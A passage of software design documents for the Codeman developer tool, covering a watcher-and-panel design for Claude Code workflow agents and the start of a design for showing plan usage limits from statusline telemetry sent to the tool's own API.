+> ### What rev. 3 changed vs. rev. 2 (decided during implementation against on-disk truth)
+> 1. **UI is a master-detail TAB, not grouped floating subagent windows.** The user asked for the CC "working agents" view (left task picker, right agent stats). Built as a new docked panel `#ultracodeAgentsPanel` (clones `.subagents-panel` master-detail CSS) + `src/web/public/ultracode-panel.js` — NOT via `openSubagentWindow`/grouped windows.
+> 2. **STANDALONE — zero edits to `subagent-watcher.ts`.** w16-claudeman's commit `f6a30d7` already discovers the per-agent workflow *transcripts* (`watchWorkflowDirs`). The data the view needs (run/phase/per-agent tokens+toolCalls) lives in the *run-state* JSON, read by a brand-new `src/workflow-run-watcher.ts` (globs the disjoint `…/workflows/wf_*.json` tree). No shared files with w16.
+> 3. **No per-agent transcript streaming needed for v1.** The run-state JSON already carries `tokens`/`toolCalls`/`state`/`label`/`phase` per agent, so the whole view reads from `wf_<runId>.json` alone. (Phase 4 will optionally link a card to its already-tracked transcript via `agentId` — no watcher edits.)
+> 4. **Agent states are `start | progress | done`** (verified on disk) — NOT running/queued. `start`=queued (no agentId/tokens/toolCalls yet), `done` has `durationMs`/`resultPreview`.
+> 5. **The run JSON's `script` (15–660KB embedded JS), `scriptPath`, `result`, `logs` are STRIPPED in the watcher** before caching/broadcast (a 28-agent run drops 174KB → ~25KB; `promptPreview`/`resultPreview` truncated).
+> 6. **SSE/snapshot ship lightweight run SUMMARIES (no `agents[]`); the RIGHT pane fetches the full run** via `GET /api/workflows/:runId` on selection. (A 25-run snapshot is ~20KB vs ~900KB if it carried every agent.) The LEFT list shows ALL cached runs (LRU-bounded), not a recency window — a run browser must show past runs.
+>
+> _Original rev. 2 proposal (grouped floating windows, extending subagent-watcher) preserved below for context; superseded by the above._
+
+### What changed in rev. 2 (vs. the first draft)
+
+1. **No backend cross-watcher coupling.** The per-agent label/phase/agentType/state **join moves to the frontend at render time** — the run object already carries every agent's entry keyed by `agentId`. This deletes `subagent-watcher`'s backward dependency on `workflow-run-watcher` (`getAgentLabel()` + its TTL cache), removes the registration-vs-run-state **race** (labels always track the latest `workflow:run_updated`), and drops the per-agent `meta.json` read from the hot path.
+2. **`SubagentInfo` grows by 2 fields, not 4** (`isWorkflowAgent`, `workflowRunId`) — both derivable from the file path alone at registration, zero extra I/O. `agentType`/`label`/`phase`/`state` come from the run object on the frontend.
+3. **The `isInternalAgent` bypass covers BOTH drop sites** — `registerAgentFile` *and* the late re-resolution in `processEntry`. The first draft named only one.
+4. **De-duplicated.** Each trap (`journal.jsonl`, the `projects/*/*/workflows` depth, the gate-mismatch lesson, reuse-not-rebuild) is stated once in its owning section.
+
+### Code-reuse verified against the tree (2026-06-14)
+
+Confirmed present and shaped as assumed: `subagent-watcher.ts` — `watchSubagentDir`/`registerAgentFile`/`tailFile`/`processEntry`, `getRecentSubagents`, `isInternalAgent` (drops on `MIN_DESCRIPTION_LENGTH=5`), `STARTUP_MAX_FILE_AGE_MS=4h`, `MAX_TRACKED_AGENTS`, `knownSubagentDirs`/`dirWatchers`. `team-watcher.ts` — `configMtimes` mtime-skip + chokidar + `setInterval` poll. `server.ts` — `setupSubagentWatcherListeners`, `getLightState()` (`subagents: getRecentSubagents(15)`, `LIGHT_STATE_CACHE_TTL_MS=1000`), `isSubagentTrackingEnabled()` (`settings.subagentTrackingEnabled ?? true`). Frontend — `_SSE_HANDLER_MAP`, `this.subagents` Map, `handleInit`/`cleanupAllFloatingWindows`, `renderSubagentPanel`/`_renderSubagentPanelImmediate`, `getTeammateBadgeHtml`, `openSubagentWindow` + `.subagent-window-parent` sub-header.
+
+## 1. The enabling fact: on-disk artifacts
+
+The Workflow tool (what `ultracode` drives) persists each workflow agent as a transcript under the **same `subagents/` directory Codeman already watches**, one level deeper. Empirically verified against a real run (`wf_a8e09f2c-550`); **re-confirm the shape against a fresh run at implementation time** (§8 mandates a live e2e pass anyway):
+
+```
+~/.claude/projects/<projHash>/<sessionUuid>/
+  ├─ subagents/
+  │    ├─ agent-XX.jsonl                    ← regular Task subagent (tracked today)
+  │    └─ workflows/wf_<runId>/
+  │         ├─ agent-YY.jsonl               ← WORKFLOW agent — IDENTICAL line format
+  │         ├─ agent-YY.meta.json           ← {"agentType":"workflow-subagent"} (optional enrichment)
+  │         └─ journal.jsonl                ← run journal {type:"started",...} — MUST be skipped
+  └─ workflows/wf_<runId>.json              ← run state: runId, workflowName, summary, status,
+                                               phases[], workflowProgress[], totals (DIFFERENT tree)
+```
+
+The per-agent `.jsonl` line shape is identical to a regular subagent transcript:
+
+```jsonc
+{ "parentUuid": null, "isSidechain": true, "agentId": "ac6a1d27012a64e38",
+  "type": "user" | "assistant", "message": { "role": "...", "content": "..." }, ... }
+```
+
+Because the line shape is identical, the entire existing parse→event→render pipeline works unchanged once discovery reaches those files. The only new data is the **run-level metadata** in `workflows/wf_<runId>.json` (name, summary, phases, and `workflowProgress[]` — the per-agent labels/state/tools), which supplies the group header and per-agent labels.
+
+**Can show:** per-agent live transcript (tool calls, messages, results); per-agent status (active/idle/completed via the existing mtime/PID/pgrep liveness); per-agent model + running token totals (from each agent's JSONL `message.usage`, exactly as today); the run's `workflowName`/`summary`/`phases[]`; per-agent `label`/`phaseTitle`/`state`/`lastToolName` (from `workflowProgress[]`); grouping under `wf_<runId>`.
+
+**Cannot show:** anything absent from the artifacts — a live phase cursor beyond `workflowProgress[].state`; an authoritative **budget/cost ceiling** (only consumed totals exist — `usage` + run-state `totalTokens`, no remaining-budget field); runs older than `STARTUP_MAX_FILE_AGE_MS` (4h) after a server restart (live monitoring only).
+
+## 2. Architecture
+
+**Decision: EXTEND `subagent-watcher.ts` for per-agent discovery/streaming; ADD a thin `workflow-run-watcher.ts` (modeled on `team-watcher.ts`) for the group-header metadata ONLY. The agent→run-metadata join happens on the FRONTEND, so the two watchers stay decoupled.**
+
+- The per-agent JSONL is identical in shape, so re-running it through `registerAgentFile()` → `tailFile()` → `processEntry()` and the existing `subagent:*` events is free and reconnect-safe (those agents land in `agentInfo`, replayed by `getRecentSubagents(15)`). A parallel per-agent watcher would duplicate the liveness/token/tool-call/SSE machinery for zero benefit.
+- Run metadata lives in a *different* file under a *different* tree (`workflows/wf_<runId>.json`, sibling to `subagents/`). A small `WorkflowRunWatcher` watching `projects/*/*/workflows/wf_*.json` (mtime-skip, like `team-watcher`'s `configMtimes`) is the clean home; folding it into `subagent-watcher` would entangle two unrelated watch roots and put a JSON re-read in the hot per-line path.
+- **The two watchers never call each other.** The frontend receives both streams and joins agent→label by `agentId` at render time (the run object carries every agent's entry). This removes the timing coupling entirely.

+```
+
+## 3. Backend changes (ordered, file-by-file)
+
+### 3a. `src/subagent-watcher.ts` — nested discovery + 2 tag fields
+
+**(1) Extend `SubagentInfo` with exactly two optional fields** (optional → regular subagents and the wire shape are unaffected):
+
+```ts
+isWorkflowAgent?: boolean;   // true when discovered under subagents/workflows/<wf_runId>/
+workflowRunId?: string;      // e.g. "wf_23dbeab2-152" (parent dir name)
+```
+
+Both are derived from the **file path alone** at registration — no extra reads. They ride existing `subagent:discovered|updated|completed` payloads (no new per-agent event). Do **not** add `agentType`/`label`/`phase`/`workflowName` here — those come from the run object on the frontend (§4c).
+
+**(2) Constant.** `const WORKFLOWS_SUBDIR = 'workflows';` near the existing dir constants.
+
+**(3) `watchSubagentDir()` — descend into `workflows/<wf_runId>/`.** After the existing direct-child registration loop:
+
+```ts
+// Workflow agents live one level deeper: subagents/workflows/<wf_runId>/agent-*.jsonl
+const wfRoot = join(dir, WORKFLOWS_SUBDIR);
+try {
+  for (const runId of await readdir(wfRoot)) {
+    if (!runId.startsWith('wf_')) continue;
+    await this.watchWorkflowRunDir(join(wfRoot, runId), projectHash, sessionId, runId);
+  }
+} catch { /* no workflows subdir — normal for most sessions */ }
+```
+
+The existing `fs.watch(dir, …)` on `subagents/` is **non-recursive on Linux** and won't fire for writes inside `workflows/<runId>/`, so each run dir needs its own watcher.
+
+**(4) New private `watchWorkflowRunDir(runDir, projectHash, sessionId, runId)`** — clone `watchSubagentDir`'s structure, but:
+- Register only files matching `^agent-.*\.jsonl$`, **explicitly skipping `journal.jsonl`** (it ends in `.jsonl` but is `{type:'started',…}`, not a transcript — registering it would create a phantom agent).
+- Call `registerAgentFile(filePath, projectHash, sessionId, isInitialScan, runId)` so the agent is tagged.
+- Install one `watch(runDir, …)` per run dir; on `error` and `stop()`, reuse the existing teardown (close + delete from `dirWatchers`/`knownSubagentDirs`/`dirWatcherErrorHandlers`).
+- Guard re-registration **per run dir** in `knownSubagentDirs`, **not** `wfRoot` — the 5s full scan must still re-`readdir(wfRoot)` to pick up *new* `wf_<runId>` dirs created mid-session.
+
+**(5) `registerAgentFile()` — accept + apply `runId`.** Add a trailing optional `runId?: string`. When set, the whole change is:
+
+```ts
+if (runId) { info.isWorkflowAgent = true; info.workflowRunId = runId; }
+```
+
+No `meta.json` read, no run-state lookup, no description override. `agentId`s are globally unique `a<16hex>` (verified: 0 collisions across a 370-agent corpus), so keep the flat `agentInfo` map keyed by `agentId` — do **not** switch to a composite key. Add a one-line dev-assert log if `agentInfo.has(agentId)` with a *different* `workflowRunId`, so a future collision is observable.
+
+**(6) `isInternalAgent` bypass — BOTH drop sites.** Workflow agents have no Task-tool spawn record, so `_resolveDescription` yields only the first-user-message fallback (often a long phase prompt) or empty → `isInternalAgent` (`length < MIN_DESCRIPTION_LENGTH`) would wrongly drop them. They are real by construction (the `subagents/workflows/wf_*/` path is the discriminator). Gate the drop on `!info.isWorkflowAgent` at **both** places:
+- `registerAgentFile` initial check (`isInternalAgent(description)`),
+- `processEntry`'s late re-resolution (the second `isInternalAgent` call).
+
+**(7) `stop()` teardown.** Per-run watchers live in `dirWatchers`, so the existing close-all loop covers them — verify no separate map was introduced (24h runs spawn many `wf_<runId>` dirs → FSWatcher leak risk).
+
+### 3b. NEW `src/workflow-run-watcher.ts` (singleton, EventEmitter — model on `team-watcher.ts`)
+
+- **Watch root:** `~/.claude/projects/<projHash>/<sessionUuid>/workflows/wf_*.json` — **two** levels under `projects` (verified: `projects/*/workflows` is empty; must be `projects/*/*/workflows/`). chokidar `depth:3` + a poll fallback, mirroring `team-watcher`'s dual discovery + interval.
+- **mtime-skip:** `runMtimes: Map<absPath, number>` (mirror `team-watcher.configMtimes`).
+- **Parse:** read `wf_<runId>.json`, take the **top-level structured keys** (`runId`, `workflowName`, `summary`, `status`, `phases:[{title,detail}]`, `agentCount`, `defaultModel`, `durationMs`, `totalTokens`, `totalToolCalls`, `workflowProgress[]`). **Do NOT parse the embedded `script` string** — name/phases/summary are already top-level; the script's `export const meta` is redundant and costly. Derive `sessionUuid` from the dir name, `projectHash` from the dir above; expose `getProjectHash(workingDir)` for Codeman-session correlation.
+- **`workflowProgress[] → agents[]`:** filter `type === 'workflow_agent'`, map each to a `WorkflowAgentEntry` (§3c) keyed by `agentId`. **This array is the join source the frontend uses** — no backend `getAgentLabel()` API, no TTL cache, no import from `subagent-watcher`.
+- **Emit** `workflow:run_discovered|updated|removed` carrying `WorkflowRunInfo`; removal by set-diff (mirror `team-watcher`).
+- **Lifecycle:** `start()`/`stop()` with `CleanupManager` teardown of chokidar + interval + caches; `LRUMap`-bounded run cache (24h memory rule).
+
+### 3c. `src/types/` — workflow run types
+
+```ts
+export interface WorkflowAgentEntry {   // one workflowProgress[type==='workflow_agent']
+  agentId: string; label: string; phaseIndex?: number; phaseTitle?: string;
+  agentType?: string; model?: string; state?: string;       // 'done'|'running'|'queued'|...
+  lastToolName?: string; lastToolSummary?: string; tokens?: number; toolCalls?: number;
+}
+export interface WorkflowRunInfo {
+  runId: string; sessionUuid: string; projectHash: string;
+  workflowName?: string; summary?: string; status?: string;  // 'running'|'completed'|...
+  phases: Array<{ title: string; detail?: string }>;
+  agentCount?: number; defaultModel?: string;
+  agents: WorkflowAgentEntry[];          // workflowProgress filtered to workflow_agent, keyed by agentId
+  startedAt?: number; durationMs?: number; totalTokens?: number; totalToolCalls?: number;
+}
+```
+
+The two `SubagentInfo` workflow fields stay inline in `subagent-watcher.ts` (matching the existing convention).
+
+### 3d. `src/web/sse-events.ts` — register run events
+
+Add `workflow:run_discovered`, `workflow:run_updated`, `workflow:run_removed` after the `subagent:*` block and to the `SseEvent` union. **No new per-agent event** — workflow agents reuse `subagent:*`.
+
+### 3e. `src/web/server.ts` — bridge, snapshot, gating
+
+- **`setupWorkflowRunWatcherListeners()`** (beside `setupSubagentWatcherListeners`): map the three run events → `this.broadcast(...)`. Add `cleanupWorkflowRunWatcherListeners()` (store handler refs).
+- **Start/stop:** call `workflowRunWatcher.start()`/`.stop()` beside `subagentWatcher`, **gated on the same enable condition** (§3f).
+- **`getLightState()`:** add `workflowRuns: workflowRunWatcher.getRecentRuns(15)` beside `subagents: subagentWatcher.getRecentSubagents(15)` so headers replay on reconnect (agents already replay via `subagents`). Keep the `LIGHT_STATE_CACHE_TTL_MS` memoization.
+- **Gating read:** add `isWorkflowAgentTrackingEnabled()` mirroring `isSubagentTrackingEnabled()` (boot-time `dataPath('settings.json')` read). Gate `workflowRunWatcher.start()` **and** the subagent-watcher `workflows/` descent (§3a-3) on `showUltracodeAgents` so non-opted-in users never register historical workflow agents.
+
+### 3f. `src/web/schemas.ts` — settings key
+
+Add `showUltracodeAgents: z.boolean().optional()` to the `.strict()` settings update schema near `showPlanUsageLimits` (required — `.strict()` 400s the whole PUT on an unknown key).
+
+### 3g. `src/web/routes/system-routes.ts` — poll API
+
+- `GET /api/subagents` and `GET /api/sessions/:id/subagents` include workflow agents once registered — **no change** (they carry `isWorkflowAgent`/`workflowRunId`; a consumer joins to `/api/workflows/:runId` for labels).
+- Add `GET /api/workflows` → `workflowRunWatcher.getRecentRuns()` and `GET /api/workflows/:runId` (uniform `ApiResponse` contract; headers are also in `getLightState`).
+- `GET /api/subagents/:agentId/transcript` works for workflow agents (they're in `agentInfo`) — no new route.
+
+## 4. Frontend changes (file-by-file)
+
+### 4a. `src/web/public/constants.js`
+- Add the three SSE strings to `SSE_EVENTS`, matching §3d exactly (`WORKFLOW_RUN_DISCOVERED: 'workflow:run_discovered'`, etc.).
+- Reuse `ZINDEX_SUBAGENT_BASE=1000` for the agent windows (they ARE subagent windows). The group **header/cluster** is in-flow panel DOM, not a floating window — no new z-index (1100 is plan-subagent).
+
+### 4b. `src/web/public/app.js`
+- Constructor: `this.workflowRuns = new Map();  // runId -> WorkflowRunInfo` beside `this.subagents`.
+- `_SSE_HANDLER_MAP`: add three rows → `_onWorkflowRunDiscovered/Updated/Removed` (must exist before `connectSSE` builds the wrappers).
+- `handleInit`: after seeding `data.subagents`, seed `this.workflowRuns` from `data.workflowRuns` (clear-then-set). **Clear `this.workflowRuns` everywhere the subagent Maps are cleared** (incl. `cleanupAllFloatingWindows`) — 24h leak guard.
+
+### 4c. `src/web/public/panels-ui.js` — the join lives here
+- `_onWorkflowRunDiscovered/Updated(data)` → `this.workflowRuns.set(data.runId, data)` + debounced re-render; `_onWorkflowRunRemoved` → delete + re-render.
+- **No change to `_onSubagentDiscovered/Updated`** — they already store the whole payload, so the 2 new fields ride along.
+- `renderSubagentPanel`/`_renderSubagentPanelImmediate`: when `showUltracodeAgents` is on, **partition `this.subagents` into flat (no `workflowRunId`) vs grouped-by-`workflowRunId`**. Flat agents render exactly as today. For each group: build the header from `this.workflowRuns.get(runId)` (`workflowName` + phase/status chip from `phases[]`), then render that run's agents reusing the existing per-agent row markup. **Per-agent label/phase/agentType come from the JOIN** — build `Map(agentId → entry)` from `this.workflowRuns.get(runId).agents` and look each agent up by `agent.agentId`; render the small chip via the `getTeammateBadgeHtml` pattern. (If the run object hasn't arrived yet, fall back to the agent's own `description` — the run `:updated` event will fill it in on the next render.)
+- `findParentSessionForSubagent` is unchanged — workflow agent `sessionId === session.claudeSessionId`. **Do not conflate `workflowRunId` with `sessionId`.**
+
+### 4d. `src/web/public/subagent-windows.js`
+**Decision: REUSE `.subagent-window` per agent + a group sub-header — do NOT build a cluster class.** A cluster path duplicates Map/z-index/drag/cleanup/persistence for no functional gain; reuse keeps connection lines, minimize-to-tab, and `localStorage` persistence. In `openSubagentWindow`, where the optional `.subagent-window-parent` sub-header is built: when `agent.workflowRunId` is set, inject a `.subagent-workflow-header` showing `this.workflowRuns.get(runId)?.workflowName` + the joined agent's `label`/phase (look up by `agentId`), mirroring the `from <session>` sub-header. Respect the existing skip guards (teammate-terminal windows, minimized/`_lazyTerminal`).
+
+**Do NOT auto-open windows** for workflow agents — a multi-phase run can spawn many, against the 50-window/60fps budget + `MAX_TRACKED_AGENTS=500`. They render collapsed in the grouped panel; the user expands via the existing panel buttons.
+
+### 4e. `src/web/public/settings-ui.js` + `index.html`
+- `index.html` Panels block: add a `settings-item` checkbox `id="appSettingsShowUltracodeAgents"` ("Show ULTRACODE / Workflow Agents").
+- `openAppSettings`: load `settings.showUltracodeAgents` with `false` fallback (mirror `showPlanUsageLimits`).
+- `saveAppSettings`: collect `showUltracodeAgents` into the fresh settings literal (uncollected keys reset to default every save).
+- Live-apply on toggle: re-run `renderSubagentPanel()` (show/hide group sections) — a panel re-render, not a CSS-class strip.
+- **SYNCED, not per-device:** do NOT add `showUltracodeAgents` to `displayKeys` and do NOT strip it in the per-device block. A synced value gives the server-side gate (`isWorkflowAgentTrackingEnabled`, §3e) one canonical truth to decide whether to run the watcher; a per-device value can't gate a process-wide watcher. (Contrast `showResponseViewer`, pure client display.)
+- `styles.css` + `mobile.css`: add `.subagent-workflow-header` and `.subagent-group-badge` next to `.subagent-window-parent`; mirror device overrides in `mobile.css`.
+
+## 5. Settings / opt-in wiring
+
+- **Key:** `showUltracodeAgents` (boolean, **default OFF**). Fallback `false` in `openAppSettings`; "absent ⇒ off" in `isWorkflowAgentTrackingEnabled()`. Schema `z.boolean().optional()` in the `.strict()` update schema, kept OUT of `displayKeys` (synced).
+- **Runtime gating:** `workflowRunWatcher.start()` and the subagent-watcher `workflows/` descent run only when the boot-time `settings.json` read reports `showUltracodeAgents === true` (mirroring `isSubagentTrackingEnabled`). The frontend additionally gates display. Toggling at runtime gates **display** immediately (panel re-render); the **watcher branch** picks up on next boot — matches existing `subagentTrackingEnabled` semantics. (Optional polish: restart just the workflow watcher on toggle for instant on/off.)
+
+## 6. SSE events
+
+**Reused (no change):** `subagent:discovered|updated|tool_call|tool_result|progress|message|completed`. Workflow agents flow through these; payloads now carry the optional `isWorkflowAgent`/`workflowRunId` fields on `SubagentInfo`. SSE payloads aren't schema-gated (typed only at `broadcast()` call sites), so the new fields propagate with zero friction.
+
+**New (3 events, run-level metadata):**
+
+| Event (backend const / frontend key) | Payload |
+|---|---|
+| `workflow:run_discovered` / `WORKFLOW_RUN_DISCOVERED` | `WorkflowRunInfo` |
+| `workflow:run_updated` / `WORKFLOW_RUN_UPDATED` | `WorkflowRunInfo` |
+| `workflow:run_removed` / `WORKFLOW_RUN_REMOVED` | `{ runId: string }` |
+
+Sync requirement (CLAUDE.md): each must appear in **both** `sse-events.ts` (§3d) and `constants.js` `SSE_EVENTS` (§4a), be emitted via `broadcast()` in `setupWorkflowRunWatcherListeners()` (§3e), and have a dispatch-table row + `_on*` handler (§4b/§4c).
+
+## 7. Edge cases & cleanup
+
+- **`journal.jsonl` phantom-agent trap** — owned by §3a-4: run-dir registration requires the `agent-` prefix and excludes `journal.jsonl`.
+- **`isInternalAgent` over-filtering** — owned by §3a-6: bypass at BOTH drop sites; titled from the frontend join (or the description fallback).
+- **No workflow agents in the flat list** — `renderSubagentPanel` partitions on `agent.workflowRunId` (§4c). When the toggle is OFF, the descent never ran, so they aren't in `this.subagents` at all.
+- **Completion/idle** — keep the existing per-agent mtime/PID/pgrep liveness as the per-card source of truth. Optionally render a group-level "workflow done" badge from run-state `status==='completed'`.
+- **Limits** — `MAX_TRACKED_AGENTS=500` LRU-evicts workflow agents in the same flat map; no auto-open (50-window budget); the 4h `STARTUP_MAX_FILE_AGE_MS` skip means a run completed >4h ago won't reload after restart (acceptable — live monitoring).
+- **Reconnect/replay** — agents via `getRecentSubagents(15)`; headers via `workflowRuns: getRecentRuns(15)` in `getLightState`. `handleInit` clears `this.workflowRuns` alongside the subagent Maps.
+- **Watcher teardown** — every per-run `fs.watch` and the chokidar watcher closes in `stop()` and on `error`; `CleanupManager` for the new watcher (24h runs create many run dirs).
+- **CLAUDE.md discipline** — read-only `~/.claude/...` artifacts; no new `~/.codeman/...` paths, no env-var prefixes touched. Claude-mode-only by nature (external CLIs don't write workflow transcripts).
+
+## 8. Testing & verification
+
+- **Unit (pure):**
+  - `test/workflow-run-watcher.test.ts`: feed a scrubbed fixture `wf_<runId>.json` → assert `WorkflowRunInfo` extraction (name/summary/phases, `workflowProgress`→`agents[]` keyed by `agentId`), mtime-skip, removal-by-set-diff.
+  - Extend `subagent-watcher` coverage: temp `subagents/workflows/wf_X/agent-Y.jsonl` + a stray `journal.jsonl` → assert `agent-Y` registered with `isWorkflowAgent`/`workflowRunId` and `journal.jsonl` NOT registered; assert a short-description workflow agent is NOT dropped at **either** `isInternalAgent` site.
+- **Route/inject (`app.inject`):** `GET /api/workflows` + `:runId` return the `ApiResponse` envelope; `GET /api/subagents` includes a tagged agent.
+- **Frontend (vm-sandbox, like `test/run-mode-ui.test.ts`):** dispatch `subagent:discovered` with `workflowRunId` + `workflow:run_discovered` → assert `renderSubagentPanel` produces a group section under the workflow name with the agent inside it (label sourced from the **join**, not flat); assert order-independence (agent before run, and run before agent both resolve); assert OFF hides the section.
+- **REQUIRED real end-to-end** (the always-end-to-end-test rule — the plan-usage chip shipped *dead* from a gate mismatch): on dev/beta with `showUltracodeAgents` ON, **drive a real ultracode/workflow run**, then (1) `curl …/api/workflows | jq` shows the live run with `agents[]`; (2) `curl …/api/subagents | jq '.data[]|select(.isWorkflowAgent)'` shows tagged agents; (3) watch `/api/events` for `workflow:run_discovered` + `subagent:discovered` with the workflow fields; (4) Playwright (`waitUntil:'domcontentloaded'`, wait 3–4s) asserts the grouped DOM cluster renders with the workflow-name header and live status. Verify path gates against `GET /api/sessions` `workingDir`. **Test against a LIVE run** — all at-rest runs are `completed`/`done`; `running`/`queued` states only exist mid-run.
+
+## 9. Phased rollout
+
+| Phase | Scope | Done-check | Size |
+|---|---|---|---|
+| **P1 — Backend discovery + tagging (gated, no UI)** | §3a (nested descent, `journal.jsonl` skip, 2 `SubagentInfo` fields, `isInternalAgent` bypass ×2) + §3f schema key + §3e gate read. No run watcher yet. | With `showUltracodeAgents` forced on, `curl /api/subagents \| jq '.data[]\|select(.isWorkflowAgent)'` lists real workflow agents during a live run; flat subagents unchanged; `tsc --noEmit` + targeted watcher test green. | S–M |
+| **P2 — Run-state metadata + SSE** | §3b (`workflow-run-watcher.ts`) + §3c types + §3d/§3e (SSE, bridge, `getLightState` replay) + §3g routes. | `curl /api/workflows \| jq` returns runs with `agents[]`/`phases`; SSE emits `workflow:run_discovered`; reconnect snapshot carries `workflowRuns`. | M |
+| **P3 — Frontend grouped UI** | §4a–§4d (constants, app.js state/dispatch/init, panels-ui grouped render + **agent→label join**, subagent-windows group sub-header). Reuse `.subagent-window`; no auto-open. | Playwright: live run renders a group section under the workflow name with per-agent rows + live status + joined labels; flat subagents stay flat; expand opens a window with the workflow sub-header. | M |
+| **P4 — Settings toggle + polish + docs** | §4e (checkbox, settings-ui load/save/live-apply, SYNCED), styles/mobile, phase chips, CLAUDE.md "Key Patterns" entry + this doc's status → SHIPPED. | Toggling the checkbox shows/hides the cluster live (no reload for display); OFF by default on a fresh install; CI green. | S |
+
+Each phase is independently shippable: P1 is invisible (gated, no UI), P2 adds an API with no UI dependency, P3 lights up the UI for flag-enablers, P4 exposes the toggle and finalizes defaults/docs.
+
+## 10. Effort & risk
+
+**Size:** P1 = S–M, P2 = M, P3 = M, P4 = S. Total ≈ **M** (one focused engineer, ~2–4 days incl. the real end-to-end run — down from the first draft's M-L now that the backend join/coupling is gone).
+
+**Top 3 risks:**
+
+1. **Non-recursive watch on Linux misses live writes.** `fs.watch` is non-recursive and `{recursive:true}` is unreliable on Linux → per-`wf_<runId>` watchers (§3a-4) are correct, but the 5s full scan must re-`readdir(wfRoot)` to catch *new* run dirs mid-session, and each watcher must be torn down to avoid FSWatcher leaks in 24h runs. Mitigation: explicit per-run-dir registration + verified `dirWatchers` teardown; chokidar (with `CleanupManager`) only in the new run watcher, where `team-watcher` already proves the pattern.
+2. **Discovery cost / over-registration.** A user with hundreds of historical workflow agents could flood `agentInfo` on boot. Mitigation: the 4h `STARTUP_MAX_FILE_AGE_MS` skip drops old files on the initial scan, the descent only runs when the toggle is on, and `MAX_TRACKED_AGENTS=500` LRU-evicts. Verify boot scan time doesn't regress with the corpus present.
+3. **Shipping-dead-on-a-gate** (the repo's recurring failure mode — the plan-usage chip shipped dead because injection was gated on `CASES_DIR` while real sessions ran elsewhere). Same trap here if the path/mode gate is wrong (e.g. `projects/*/workflows` instead of `projects/*/*/workflows`, or correlation via the wrong session key). Mitigation: the **mandatory live ultracode end-to-end run** in §8 against a real session's `workingDir`, observing the real SSE event + real DOM cluster — not the at-rest corpus, not unit tests alone.

+# Plan Usage Limits Display — Design & As-Built
+
+> **Status: SHIPPED — deployed to prod + pushed to master, not yet released (2026-06-14).** App Settings → Display → **Plan Usage Limits** (`showPlanUsageLimits`). **Default changed in 1.9.3: desktop now defaults ON, handhelds stay OFF, resolved via `planUsageChipEnabled()`.** The per-device notes further down describing it as opt-in/synced record the original 2026-06-14 shape, not current behavior. Commits `c82f6c8` (feature) → `4d9d93d` (end-to-end fixes) → `eae225b` (per-user reconcile) → `95fb5fc` (init-snapshot replay). Full suite green (2869), CI green. No changeset/version bump yet.
+>
+> Two surfaces from one `statusLine` callback:
+> - **Header chip** (top-right) — account-wide **plan limits**: `5h 35% · 7d 38%`, per-window green/yellow/red.
+> - **In-terminal statusline footer** — the **current session's** status: `Opus 4.8 (1M context)  in:562,411 out:1,188  ctx:56%`.
+>
+> The `rate_limits` JSON schema below was **empirically confirmed** against Claude Code 2.1.177 on a Claude Max account; see the Verification appendix to reproduce.
+
+## Problem
+
+Codeman had no proactive view of how much of the Claude subscription is left. It only learned about limits **reactively**: `usage-limit-patterns.ts` regex-scrapes ANSI-stripped terminal output for footer strings like `5-hour limit reached ∙ resets 8pm`, extracting only the **reset time**, and only *after* Claude has already stalled. There was no "73% of your 5-hour limit used" anywhere.
+
+We wanted a live, always-visible gauge so the operator can see a wall coming and pace overnight/autonomous runs — without hijacking the in-terminal statusline, which should keep showing the current session's status.
+
+## Data source: the statusline `rate_limits` JSON
+
+Claude Code (**v2.1.80+**; prod box runs **2.1.177**) pipes a JSON blob to a configured `statusLine.command` on stdin after each render. On Pro/Max subscriptions that blob includes `rate_limits`. **This is the only channel that exposes plan-limit data** (see rejected alternatives) — so the feature *must* set a statusLine command, which is why the footer is also reconstructed by it (below).
+
+### Confirmed schema (real captured payload)
+
+```jsonc
+"rate_limits": {
+  "five_hour": { "used_percentage": 15, "resets_at": 1781409000 },  // → 2026-06-14T03:50:00Z
+  "seven_day": { "used_percentage": 34, "resets_at": 1781827200 }   // → 2026-06-19T00:00:00Z
+}
+```
+
+| Field | Type | Notes |
+|-------|------|-------|
+| `rate_limits.five_hour.used_percentage` | `number` 0–100 | Integer-valued in practice; treat as `number`, don't assume decimals. |
+| `rate_limits.five_hour.resets_at` | `number` | **Epoch SECONDS** (10 digits). `×1000` for a JS `Date`. |
+| `rate_limits.seven_day.{used_percentage,resets_at}` | same | |
+
+**Confirmed facts & gotchas:**
+
+- **Only two windows exist: `five_hour` and `seven_day`.** There is **no separate Opus-weekly field**, even on a Max/Opus account.
+- `rate_limits` is **absent on the first render**, **present after the first API response**. UI degrades to "no chip yet."
+- statusLine fires **only in interactive TUI mode**, never `--print`. Fine — Codeman sessions are interactive TUIs (and so are Codeman-spawned ones in tmux).
+- **Subscriber-gated.** Absent for API-key / non-subscriber auth.
+
+### Bonus telemetry in the same payload — used for the footer
+
+The same stdin object also carries `model.display_name`, `context_window.{used_percentage, total_input_tokens, total_output_tokens, …}`, `cost.total_cost_usd`, `effort.level`, etc. The shipped feature uses **model + token totals + context %** to build the in-terminal footer (so the statusline stays useful even though we own it). The endpoint also broadcasts `contextUsedPercentage`/`costUsd`/`modelDisplayName` alongside the limits for future chip tooltips.
+
+### Alternatives considered & rejected
+
+| Source | Why not |
+|--------|---------|
+| OAuth endpoint `api.anthropic.com/api/oauth/usage` | Undocumented, aggressively rate-limited, needs the **encrypted** OAuth token. Only worth it for *dollar spend*. |
+| `/usage` slash command | Interactive-only, no programmatic output. |
+| On-disk `~/.claude/` files | No usage state persisted (only `daemon.status.json` = auto-updater supervisor). |
+| CLI flag (`claude usage` / `--check-usage`) | Does not exist. |
+| `StopFailure` hook | Carries only an `error_type` on *failure* — no live percentages. |

+## As-built architecture
+
+```
+Claude TUI (any Claude session, incl. linked-case/real-repo sessions)
+  │  renders statusline after each assistant msg (+ /compact, mode change)
+  ▼
+statusLine.command (settings.local.json)  ──reads stdin JSON──▶
+  curl -sk POST $CODEMAN_API_URL/api/status-telemetry  {sessionId, data}
+  (X-Codeman-Hook-Secret: $(cat $CODEMAN_HOOK_SECRET_FILE))

+
+server (status-telemetry-routes.ts):
+  parse rate_limits  → (if changed) store last-known + broadcast SSE session:statusTelemetry  → header chip
+  parse model/tokens/ctx → return the session-status footer string
+  ▼
+app.js: _onSessionStatusTelemetry → chip (per-window colors) + localStorage save
+        handleInit → chip from init-snapshot planUsage (fresh-load replay)
+```
+
+### 1. The exporter — `generateStatusLineCommand()` in `hooks-config.ts`
+
